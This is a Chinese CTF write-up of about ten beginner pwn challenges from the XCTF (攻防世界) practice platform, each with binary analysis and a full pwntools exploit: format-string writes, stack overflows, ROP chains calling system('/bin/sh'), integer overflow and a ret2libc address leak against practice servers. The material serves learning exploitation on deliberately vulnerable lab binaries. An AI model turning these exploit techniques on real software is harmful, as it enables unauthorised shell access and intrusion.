• 攻防世界pwn之新手区


    涉及的工具有

    Ubuntu 16.04

    pwntools

    IDA

    gdb-peda

    1、get_shell

    连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag

     64位的ELF  保护机制只有NX

     然后用IDA看看,找到main函数,查看伪代码

    system函数可以直接获得shell ,连接就可以获得get shell

    from pwn import *
    r=remote('111.198.29.45',51214)
    r.interactive()

    2、CGfsb

    先看看文件位数和保护机制

     这里利用的是格式化字符串漏洞,当printf后面带的是%n,那么它会把前面的字符串的长度输入到内存中,只需要让n前面有八个字符,就可以让s等于8,pwnme=s=8,就可以cat flag

     寻找一下输入的参数在printf函数中的位置,通过不断打印%x泄露内存的地址,发现61616161在第10位,61是a的ascll码

     

    那么可以构造exp

    804a068是pwnme的地址,‘aaaa’和n前面的字符凑成8个字符 ,$是偏移量,意味着偏移了10

    rom pwn import *
    r=remote('111.198.29.45',46202)
    
    r.recvuntil("please tell me your name:")
    r.sendline('name')
    
    payload=p32(0x804a068)+'aaaa'+'%10$n'
    r.sendline(payload)
    
    r.interactive()

    执行结果

    3、when_did_you_born

    检查保护机制

     然后拖到IDA

     要使v5输入1926才能cat flag  但是一输入1926就退出程序了,gets函数可以溢出,我们就可以在输入的名字(v4)的时候填充无意义字符使其溢出,把v5原本的值覆盖掉,替换成1926

    在IDA双击&4(var_20)和&5(var_18)  发现它们相差0x8个字符。

     当v4输入的长度大于0x8个字符,大于8个的数会覆盖掉v5,使v5重新赋值

    那么可以构造脚本

    from pwn import *
    r=remote('111.198.29.45',51232)
    
    r.recvuntil("What's Your Birth?")
    r.sendline('2019')   #随便填
    
    r.recvuntil("What's Your Name?")
    payload='a'*0x8+p32(0x786)  #0x786的十进制是1926
    r.sendline(payload)
    r.interactive()         

    执行,获取flag

    4、hello_pwn
    64位的ELF

     打开了NX保护

     

     丢到IDA看看,只需要让dword_601068等于1853186401就可以执行sub_400686函数获取flag

    read存在溢出,且unk_691968和dword_60106c偏移量为4,那么很轻松就可以覆盖dword_60106c的值

     

     编写脚本

    from pwn import *
    #p=process('./hello_pwn')
    p=remote('111.198.29.45',31449)
    payload = 'a'*0x4+p64(1853186401)
    p.recvuntil("bof")
    p.sendline(payload)
    p.interactive()

    执行

    5、level0
    程序是64位

     

    NX保护

     

     看看伪代码先

     返回vulnerable_function函数,read函数存在溢出

    看看其他函数,_system函数可以执行系统命令

     

     shift+F12看看字符串,发现有shell

     思路很明确,让read函数溢出然后执行system函数,并让system函数的参数为/bin/sh, 我们就可以get到shell了

    但是这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我们需要找到rdi的地址

    然后再找到‘/bin/sh’的地址

    以及system的地址

     

     脚本如下

    from pwn import *
    r=remote('111.198.29.45',47491)
    rdi_add=0x400663
    shell_add=0x400684
    sys_add=0x400460
    
    payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add)
    r.sendline(payload)
    r.interactive()

     --------------------------分割线------------------------------------

    后面承认我瞎,没有看到callsystem函数可以直接调用shell

     重新写脚本

    from pwn import *
    r=remote('111.198.29.45',47491)
    payload='a'*0x88+p64(0x400596)
    r.sendline(payload)
    r.interactive()

     结果如上,不再演示




    6、level2

     

    32位的ELF   只有NX保护

     

     丢到IDA看看,引用vulnerable_funcion函数

    system可以执行

     

    shift+F12同样看到了shell

     思路跟上一题差不多,直接read溢出,利用system函数传参来get shell

    脚本如下

    from pwn import *
    r=remote('111.198.29.45',45695)
    sys_add=0x8048320
    shell_add=0x804a024
    payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add) #aaaa是无效的返回地址
    r.sendline(payload)
    r.interactive()

    执行结果

     

    8、guess_num

    检查文件

     用IDA打开看看

     

     需要连续猜中10次才能得到flag,但是上面函数有gets这个危险的函数

     

     v9经过0x20个字符就溢出到seed,那么如果把seed[0]变成我们可控的数字,就可以使v6和v8相等,得到flag

    借鉴大佬的exp

    from pwn import *
    from ctypes import *  #python标准库中自带的ctypes模块进行python和c的混合编程
    
    r=remote('111.198.29.45',34125)
    libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    payload='a'*0x20+p64(1)
    r.recvuntil("
    ")
    r.sendline(payload)
    libc.srand(1)
    for i in range(10):
            num=str(libc.rand()%6+1)
            r.recvuntil('
    ')
            r.sendline(num)
    
    r.interactive()

    libc的共享库可以用ldd调用

    执行结果

     

    9、int_overflow

    详细解题思路链接

    https://bbs.pediy.com/thread-254851.htm

    先把流程走一遍

     选1可以输入名字和密码(密码要3到8位)否则判定无效数字,选2直接退出,然后我们看看判断的函数

     v3是一个无符号类型的数字,意味着范围只能到0-255,如果输入256,那么他会输出0,这里存在整数溢出,无论是3~8还是259~264都是可以通过验证的,那么就可以通过strcpy的栈溢出覆盖what_is_this的返回地址,来获得flag

     exp如下

    from pwn import *
    r=remote('111.198.29.45',50332)
    e=ELF("./int_overflow")
    what_is_this_addr=e.symbols['what_is_this']
    
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('Please input your username:')
    r.sendline('aaa')
    r.recvuntil('Please input your passwd:')
    
    payload='a'*(0x14+0x4)+p32(what_is_this_addr)
    payload=payload.ljust(262,'a')
    
    r.sendline(payload)
    r.interactive()

    执行结果

     10、cgpwn2

    先检查发现是一个32位的程序,只有NX保护

     

     用IDA打开

     

     上面那一大串没什么用,但是有fgets函数和gets,同时name在bss段中,是全局变量

     思路就是 用fgets输入“/bin/sh“,返回地址覆盖成system的地址,再把传参(/bin/sh)到system里面即可get shell了

    from pwn import *
    
    r=remote('111.198.29.45',31947)
    name_addr=0x804A080   #bss段中name的地址
    e=ELF("./cgpwn2")
    sys_addr=e.symbols["system"] #获取system的地址
    
    r.recvuntil("
    ")
    r.sendline("/bin/sh")
    
    payload='a'*(0x26+0x4)+p32(sys_addr)+p32(0xaaaa)+p32(name_addr) #0xaaaa是system的返回地址,随便填
    r.recvuntil("
    ")
    r.sendline(payload)
    r.interactive()

    执行结果

    11 level3

    ret2libc

    因为之前做过,故不在演示

    https://www.cnblogs.com/gaonuoqi/p/11684294.html

    思路:通过read函数的栈溢出返回到write函数泄露出write本身或者read的地址,虽然libc里面的地址是随机的,但是函数的相对位置是固定的,知道了read或wirte的真实地址就可以通过偏移量找到libc里面的system和/bin/sh,之后再次返回到vulnerable_funciton进行二次read的栈溢出,返回地址是system,并传入参数/bin/sh构造system(/bin/sh)

    exp如下

    from pwn import *
    r=remote('111.198.29.45',33181)
    
    e=ELF('./level3')
    write_got=e.got['write']
    write_plt=e.plt['write']
    func_addr=e.symbols['vulnerable_function']
    
    payload='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4)
    r.recvuntil('Input:
    ')
    r.sendline(payload)
    
    write_addr=u32(r.recv(4))
    
    libc=ELF('./libc_32.so.6')
    write_libc=libc.symbols['write']
    sys_libc=libc.symbols['system']
    bin_libc=libc.search('/bin/sh').next()
    
    offset=write_addr-write_libc
    sys_addr=offset+sys_libc
    bin_addr=offset+bin_libc
    
    payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr)
    r.recvuntil('Input:
    ')
    r.sendline(payload2)
    
    r.interactive()

     执行结果

  • 相关阅读:
    翻译:让网络更快一些——最小化浏览器中的回流(reflow)
    ArcGIS API for flex 3.1离线文档
    innerHeight与clientHeight、innerWidth与clientWidth
    在Excel2010中输入身份证号
    JavaScript window.location对象
    Apache2.2+php5.2+the requested operation has failed
    Js中的window.parent ,window.top,window.self
    Mongoose 3.0 executable does not start
    Download ActionScript 3 reference files as a single zipActionScript 3 下载
    Flex 4.6 API 离线文档
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11653818.html
Copyright © 2020-2023  润新知